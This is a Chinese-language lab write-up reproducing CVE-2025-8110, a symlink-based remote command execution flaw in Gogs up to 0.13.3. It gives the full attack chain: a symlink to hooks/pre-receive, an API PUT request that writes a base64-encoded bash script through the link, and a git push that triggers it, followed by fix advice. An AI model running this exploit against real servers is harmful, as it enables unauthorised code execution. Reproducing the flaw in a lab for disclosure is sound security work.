# Gogs 符号链接导致远程命令注入漏洞 CVE-2025-8110

## 漏洞描述

Gogs 是一款开源的自托管 Git 服务，它提供了简单易用的 Web 界面，帮助用户轻松管理代码仓库，支持多种认证方式和权限管理，适用于个人开发者及团队协作。该漏洞源于之前的修复对符号链接的过滤不当，导致攻击者可通过创建指向.git 目录的符号链接进而重写文件，最终实现远程命令执行。

参考链接：

- http://wiz.io/blog/wiz-research-gogs-cve-2025-8110-rce-exploit
- http://www.openwall.com/lists/oss-security/2025/12/11/3
- http://www.openwall.com/lists/oss-security/2025/12/11/4

## 漏洞影响

```
Gogs <= 0.13.3
```

## 环境搭建

参考 [环境配置](https://github.com/Threekiii/Awesome-POC/tree/master/base/gogs/0.13.3)，执行如下命令启动一个 Gogs 0.13.3 服务：

```
docker-compose up -d
```

服务启动后，访问 `http://your-ip:3000/install` 即可看到安装页面。安装时选择 sqlite 数据库。

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224134032690.png)

## 漏洞复现

攻击链如下：

1. 注册用户并创建仓库，新建 API 令牌；
2. 创建符号链接指向 `hooks/pre-receive` 并推送到远端仓库；
3. 通过 API 修改符号链接内容，注入恶意脚本；
4. 通过 `git push` 触发 `pre-receive` ，执行恶意脚本。

### 1. 注册用户并创建仓库，新建 API 令牌

注册用户并登录，新建仓库，生成 `README.md`。此处用户为 `threekiii`，仓库为 `repo`：

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224134615342.png)

点击用户设置 → 授权应用 → 生成新的令牌，生成新令牌并保存：

```
848e28bb8ef407f0ae10ddbe385d4a58e7b82605
```

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224134442107.png)

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224134542081.png)

### 2. 创建符号链接并推送到远端仓库

创建符号链接指向 `hooks/pre-receive`。此处采用 Docker 部署 Gogs 服务，服务器默认路径为：

```
/data/git/gogs-repositories/<user>/<repo>.git/
```

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224135223920.png)

在 Linux 环境下构建符号链接：

```
mkdir -p /data/git/gogs-repositories/threekiii/repo.git/hooks
touch /data/git/gogs-repositories/threekiii/repo.git/hooks/pre-receive
ln -s /data/git/gogs-repositories/threekiii/repo.git/hooks/pre-receive ./link_poc
```

将新建的远程仓库 `repo` 克隆至本地，添加制作好的符号链接 `link_poc`。此时，目录结构如下：

```
git clone http://your-ip:3000/threekiii/repo.git
```

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224141106987.png)

将符号链接 `link_poc` 推送到远端仓库：

```
git add link_poc
git commit -m " "
git push origin master
```

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224141152196.png)

查看 web 页面，推送成功：

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224141216459.png)

### 3. 通过 API 修改符号链接内容，注入恶意脚本

构造脚本，执行命令 `id > /tmp/awesome_poc：

```
#!/usr/bin/env bash  
id > /tmp/awesome_poc
exit 0
```

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224150137136.png)

将上述脚本 base64 编码：

```
cat poc.sh | base64 
-----
IyEvdXNyL2Jpbi9lbnYgYmFzaCAgCmlkID4gL3RtcC9hd2Vzb21lX3BvYwpleGl0IDAK
```

构造 PUT 请求，带上之前创建的 API 令牌，修改符号链接文件内容，注入恶意脚本：

```
PUT /api/v1/repos/threekiii/repo/contents/link_poc HTTP/1.1
Host: your-ip:3000
Authorization: token 848e28bb8ef407f0ae10ddbe385d4a58e7b82605
Content-Type: application/jsonContent-Length: 124

{"content":"IyEvdXNyL2Jpbi9lbnYgYmFzaCAgCmlkID4gL3RtcC9hd2Vzb21lX3BvYwpleGl0IDAK","message":"edit","branch":"master"}
```

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224150208719.png)

### 4. 通过 `git push` 触发执行

通过 `git push` 触发 `pre-receive`，执行恶意脚本：

```
touch x
git add x
git commit -m " "
git push origin master
```

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224150313835.png)

成功执行命令 `id > /tmp/awesome_poc`：

![](images/Gogs%20符号链接导致远程命令注入漏洞%20CVE-2025-8110/image-20260224150336319.png)

## 漏洞修复

- 升级至最新版本。
- 关闭开放注册功能。
- 利用安全组设置 Gogs 仅对可信地址开放。
